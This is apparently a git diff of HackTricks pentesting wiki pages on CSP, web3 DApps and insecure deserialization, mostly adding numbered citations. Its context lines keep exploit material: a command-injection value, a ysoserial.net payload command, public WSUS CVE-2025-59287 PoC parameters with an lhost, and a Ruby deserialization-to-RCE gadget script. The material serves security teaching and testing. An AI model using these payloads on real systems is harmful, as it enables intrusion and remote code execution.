header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy) - -​ +- [1] [CSP – The How and Why of a Content Security Policy (HackDefense)](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) +- [2] [CSP Cheat Sheet – allowed data scheme (0xn3va)](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) +- [3] [CSP bypass on portswigger.net using Google script resources (joaxcar.com)](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) +- [4] [Content Security Policy (CSP) Bypass Techniques (bhavesh-thakur)](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) +- [5] [Stealing Passwords from Infosec Mastodon Without Bypassing CSP (PortSwigger Research)](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) +- [6] [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp) +- [7] [MDN: Referrer-Policy header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy) +- [8] [AngularJS CSP bypass via cdnjs (blog.huli.tw)](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/) +- [9] [Google zer0pts / ImaginaryCTF 2023 writeup – reCAPTCHA CSP bypass](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) +- [10] [Bug bounty: how I made $50,000 from Google (landh.tech)](https://www.landh.tech/blog/20240304-google-hack-50000/) +- [11] [Google Bard data exfiltration via Apps Script (embracethered.com)](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) +- [12] [Weaponized Google OAuth triggers malicious WebSocket (cside.dev)](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [13] [Dress Code: The Talk – third-party domain abuse (SensePost)](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) +- [14] [Exfiltrating users' private data using Google Analytics to bypass CSP (HUMAN Security)](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp) +- [15] [CSP bypass via Google Tag Manager (deteact.com)](https://blog.deteact.com/csp-bypass/) +- [16] [Beyond XSS – Chapter 2: CSP Bypass (aszx87410)](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) +- [17] [H5SC Minichallenge 3: "Sh*t, it's CSP!" (cure53 XSSChallengeWiki)](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) +- [18] [CSP Level 2 spec – Paths and Redirects (W3C)](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) +- [19] [x-oracle CTF writeup (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) +- [20] [Hiding JavaScript inside PNG files to bypass CSP (secjuice.com)](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) +- [21] [Bypassing CSP with Policy Injection (PortSwigger Research)](https://portswigger.net/research/bypassing-csp-with-policy-injection) +- [22] [CSP bypass unveiled: the hidden threat of bookmarklets (socradar.io)](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/) +- [23] [Google CTF 2023 – Web Biohazard solution (GitHub)](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) +- [24] [CTF writeups – Issue 48: restricting CSP via HTML injection (aszx87410)](https://github.com/aszx87410/ctf-writeups/issues/48) +- [25] [TSJ CTF 2022 – Nim Notes challenge (maple3142)](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes) +- [26] [CTFtime writeup 29310](https://ctftime.org/writeup/29310) +- [27] [PHP header() bypass via too many parameters (YouTube talk)](https://www.youtube.com/watch?v=Sm4G6cAHjWM) +- [28] [justCTF 2020 writeup – Baby CSP (hackmd.io)](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) +- [29] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [30] [CSP bypass by rewriting an error page (blog.ssrf.kr)](https://blog.ssrf.kr/69) +- [31] [Bypassing CSP via a WordPress SOME attack (octagon.net)](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +- [32] [lcamtuf's Postxss – exfiltration techniques under strict CSP](https://lcamtuf.coredump.cx/postxss/) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/dapps-DecentralizedApplications.md b/src/pentesting-web/dapps-DecentralizedApplications.md index 109c0d87903..ba9697f84a4 100644 --- a/src/pentesting-web/dapps-DecentralizedApplications.md +++ b/src/pentesting-web/dapps-DecentralizedApplications.md @@ -8,7 +8,7 @@ A DApp is a decentralized application that runs on a peer-to-peer network, rathe ## Web3 DApp Architecture -According to [**this post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) there are 3 different types of Web3 DApps architecture: +According to [**this post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) there are 3 different types of Web3 DApps architecture:[[1]](#references) ### "API-less" DApps @@ -64,8 +64,8 @@ It might be possible to group web3 DApps vulnerabilities in the following catego Modern DApps often assume that the wallet/provider layer is just plumbing, but this is an attack surface by itself: - **Injected provider confusion**: historically many DApps trusted whatever appeared in `window.ethereum`. With multiple extensions installed, the "last injector wins" problem and wallet impersonation become realistic attack paths. -- **EIP-6963 abuse cases**: EIP-6963 improves multi-wallet discovery, but the spec explicitly calls out **provider-object tampering**, **wallet imitation/manipulation**, and even **malicious SVG icons** as security concerns. During pentests, check whether the DApp pins a provider by stable wallet metadata and whether two announced providers can reuse or tamper with the same identifiers. -- **WalletConnect / session phishing**: if the application or wallet does not validate the real origin against the claimed metadata, a phishing domain can still present a believable session request. This is especially relevant when the workflow is "connect wallet first, inspect later". +- **EIP-6963 abuse cases**: EIP-6963 improves multi-wallet discovery, but the spec explicitly calls out **provider-object tampering**, **wallet imitation/manipulation**, and even **malicious SVG icons** as security concerns. During pentests, check whether the DApp pins a provider by stable wallet metadata and whether two announced providers can reuse or tamper with the same identifiers.[[2]](#references) +- **WalletConnect / session phishing**: if the application or wallet does not validate the real origin against the claimed metadata, a phishing domain can still present a believable session request. This is especially relevant when the workflow is "connect wallet first, inspect later".[[3]](#references) - **Blind chain switching**: some flows request `wallet_switchEthereumChain` and immediately build a transaction assuming the switch succeeded. If the application keeps stale provider state or mixes RPCs from different chains, users can sign transactions against the wrong network context. When reviewing a DApp, treat the wallet connection layer exactly like an authentication boundary: inspect provider discovery, event handling (`accountsChanged`, `chainChanged`), transaction building after chain switches, and whether external wallet metadata is reflected in the DOM without sanitization. @@ -78,8 +78,8 @@ When reviewing a DApp, treat the wallet connection layer exactly like an authent In many DApps, the most dangerous action is no longer an on-chain `approve`, but an off-chain signature that a relayer or router later cashes in. -- **`permit` / signature approvals**: ERC-2612 allows changing `allowance` with a signed message. That means a phishing page or a compromised frontend can ask the victim to sign an approval that is later submitted by any relayer. -- **Relayer optionality**: the ERC-2612 spec explicitly notes that a relayer gets a free option to submit or withhold a signed permit until `deadline`, so backend workflows that assume "signature received == action already happened" are wrong. +- **`permit` / signature approvals**: ERC-2612 allows changing `allowance` with a signed message. That means a phishing page or a compromised frontend can ask the victim to sign an approval that is later submitted by any relayer.[[4]](#references) +- **Relayer optionality**: the ERC-2612 spec explicitly notes that a relayer gets a free option to submit or withhold a signed permit until `deadline`, so backend workflows that assume "signature received == action already happened" are wrong.[[4]](#references) - **Typed-data UX gaps**: wallets may render the domain and field names but still fail to explain the actual effect of the signature, especially when nested calldata, routers, or multicalls are involved. - **Permit-drainer pattern**: instead of asking for a visible `approve`, drainers increasingly prefer typed-data signatures that authorize a spender or relay path, because they are faster, cheaper, and less suspicious to the victim. @@ -96,7 +96,7 @@ DApps usually do not read raw chain state directly for every action. They rely o When attacking this layer, review how the DApp handles confirmations, reorg rollbacks, duplicate deliveries, and contract-address allowlists in event consumers. Recent production guidance for blockchain indexers stresses that forward-filling indexers must be reorg-aware and able to rewind to the common ancestor instead of treating the current tip as immutable. -Some examples from [**this post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications): +Some examples from [**this post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications):[[1]](#references) ### Wasting Funds: Forcing backend to perform transactions @@ -136,9 +136,10 @@ Keep this page generic, but note that account-abstraction-specific bugs are cove ## References -- [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) -- [https://eips.ethereum.org/EIPS/eip-6963](https://eips.ethereum.org/EIPS/eip-6963) -- [https://walletconnect.com/blog/protect-users-from-phishing-with-walletconnect-verify-api-for-web3-apps-and-wallets](https://walletconnect.com/blog/protect-users-from-phishing-with-walletconnect-verify-api-for-web3-apps-and-wallets) +- [1] [CertiK – Web2 Meets Web3: Hacking Decentralized Applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) +- [2] [EIP-6963 – Multi Injected Provider Discovery](https://eips.ethereum.org/EIPS/eip-6963) +- [3] [WalletConnect – Protect Users from Phishing with the WalletConnect Verify API](https://walletconnect.com/blog/protect-users-from-phishing-with-walletconnect-verify-api-for-web3-apps-and-wallets) +- [4] [EIP-2612 – permit: 712-signed approvals](https://eips.ethereum.org/EIPS/eip-2612) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 8a3a87c735f..32045c89a72 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -92,7 +92,7 @@ If you look to the results you can see that the functions **`__wakeup`** and **` > } > ``` -You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)[[1]](#references)[[2]](#references)[[3]](#references) ### PHP Deserial + Autoload Classes @@ -154,7 +154,7 @@ If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call be #### Real-world example: Everest Forms (WordPress) CVE-2025-52709 -The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions: +The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions:[[4]](#references) ```php function evf_maybe_unserialize($data, $options = array()) { @@ -249,7 +249,7 @@ python-yaml-deserialization.md JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\ If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. -Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ +Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._[[5]](#references) ```javascript // If you can compromise p (returned object) to be a promise @@ -338,7 +338,7 @@ var test = serialize.unserialize(test) ``` -You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability. +You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.[[6]](#references) ### [funcster](https://www.npmjs.com/package/funcster) @@ -368,7 +368,7 @@ var desertest3 = { funcster.deepDeserialize(desertest3) ``` -**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**[[7]](#references) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) @@ -396,11 +396,11 @@ var test = deserialize(test) ``` -**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**[[7]](#references) ### Cryo library -In the following pages you can find information about how to abuse this library to execute arbitrary commands: +In the following pages you can find information about how to abuse this library to execute arbitrary commands:[[7]](#references)[[8]](#references) - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) @@ -459,7 +459,7 @@ async function generateReport(project, format) { Supplying `format = "pdf & whoami"` makes `/bin/sh -c` run the legitimate report generator and then `whoami`, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the `bound` data. -An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive. +An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.[[9]](#references) ## Java - HTTP @@ -504,7 +504,7 @@ If you want to **learn about how does a Java Deserialized exploit work** you sho #### SignedObject-gated deserialization and pre-auth reachability -Modern codebases sometimes wrap deserialization with `java.security.SignedObject` and validate a signature before calling `getObject()` (which deserializes the inner object). This prevents arbitrary top-level gadget classes but can still be exploitable if an attacker can obtain a valid signature (e.g., private-key compromise or a signing oracle). Additionally, error-handling flows may mint session-bound tokens for unauthenticated users, exposing otherwise protected sinks pre-auth. +Modern codebases sometimes wrap deserialization with `java.security.SignedObject` and validate a signature before calling `getObject()` (which deserializes the inner object). This prevents arbitrary top-level gadget classes but can still be exploitable if an attacker can obtain a valid signature (e.g., private-key compromise or a signing oracle). Additionally, error-handling flows may mint session-bound tokens for unauthenticated users, exposing otherwise protected sinks pre-auth.[[10]](#references) For a concrete case study with requests, IoCs, and hardening guidance, see: @@ -514,7 +514,7 @@ java-signedobject-gated-deserialization.md #### White Box Test -You can check if there is installed any application with known vulnerabilities. +You can check if there is installed any application with known vulnerabilities.[[11]](#references) ```bash find . -iname "*commons*collection*" @@ -523,13 +523,13 @@ grep -R InvokeTransformer . You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ -When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**. +When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.[[12]](#references)[[13]](#references) #### Black Box Test Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ [**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -GadgetProbe is focused on **`ObjectInputStream` deserializations**. +GadgetProbe is focused on **`ObjectInputStream` deserializations**.[[14]](#references)[[15]](#references) Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ [**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ @@ -547,7 +547,7 @@ If you find a java serialized object being sent to a web application, **you can #### **ysoserial** -The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\ +The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).[[16]](#references)[[17]](#references)\ Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. @@ -627,7 +627,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti #### marshalsec -[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.\ +[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.[[18]](#references)\ In order to compile the project I needed to **add** this **dependencies** to `pom.xml`: ```html @@ -659,7 +659,7 @@ Read more about this Java JSON library: [https://www.alphabot.com/security/blog/ ### Labs - If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) -- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) +- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)[[19]](#references)[[20]](#references)[[21]](#references)[[22]](#references) ### Why @@ -754,21 +754,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); - **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code. - **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content. -- **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security. - -### References - -- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) -- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) -- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) -- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) -- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) -- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) -- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) -- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) -- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) +- **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.[[24]](#references) ## JNDI Injection & log4Shell @@ -785,7 +771,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### Products -There are several products using this middleware to send messages: +There are several products using this middleware to send messages:[[25]](#references) ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>) @@ -798,18 +784,11 @@ This means that in this exploitation all the **clients that are going to use tha You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability. -The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application. - -### References - -- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) - -- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) -- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.[[26]](#references) ## .Net -In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object. +In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.[[27]](#references)[[28]](#references) ### Fingerprint @@ -908,7 +887,7 @@ Take a look to [this POST about **how to try to exploit the \_\_ViewState parame - Affected endpoints: - `/SimpleAuthWebService/SimpleAuth.asmx` → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter. - `/ReportingWebService.asmx` → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event. -- Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM). +- Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).[[29]](#references) Minimal exploitation (Reporting path): 1) Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example: @@ -927,7 +906,7 @@ ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe" AuthorizationCookie / GetCookie() - A forged AuthorizationCookie can be accepted, decrypted, and passed to a BinaryFormatter sink, enabling pre‑auth RCE if reachable. -Public PoC (tecxx/CVE-2025-59287-WSUS) parameters: +Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:[[30]](#references) ```powershell $lhost = "192.168.49.51" @@ -939,7 +918,7 @@ See [Windows Local Privilege Escalation – WSUS](../../windows-hardening/window ### Prevention -To mitigate the risks associated with deserialization in .Net: +To mitigate the risks associated with deserialization in .Net:[[23]](#references) - **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible. - **For `JSON.Net`, set `TypeNameHandling` to `None`:** `TypeNameHandling = TypeNameHandling.None` @@ -951,13 +930,6 @@ To mitigate the risks associated with deserialization in .Net: - **Stay informed about known insecure deserialization gadgets** within .Net and ensure deserializers do not instantiate such types. - **Isolate potentially risky code** from code with internet access to avoid exposing known gadgets, such as `System.Windows.Data.ObjectDataProvider` in WPF applications, to untrusted data sources. -### **References** - -- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) -- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) -- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) - ## **Ruby** In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization. @@ -969,7 +941,7 @@ For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authent - `config/secrets.yml` - `/proc/self/environ` -**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:[[36]](#references) ```ruby #!/usr/bin/env ruby @@ -1042,11 +1014,11 @@ puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` -Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)[[31]](#references) ### Ruby .send() method -As explained in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), if some user unsanitized input reaches the `.send()` method of a ruby object, this method allows to **invoke any other method** of the object with any parameters. +As explained in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), if some user unsanitized input reaches the `.send()` method of a ruby object, this method allows to **invoke any other method** of the object with any parameters.[[32]](#references) For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code: @@ -1091,7 +1063,7 @@ Check more information in the [Ruby _json pollution page](ruby-_json-pollution.m ### Other libraries -This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[33]](#references) There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically): @@ -1159,11 +1131,11 @@ Moreover, it was found that with the previous technique a folder is also created } ``` -Check for more details in the [**original 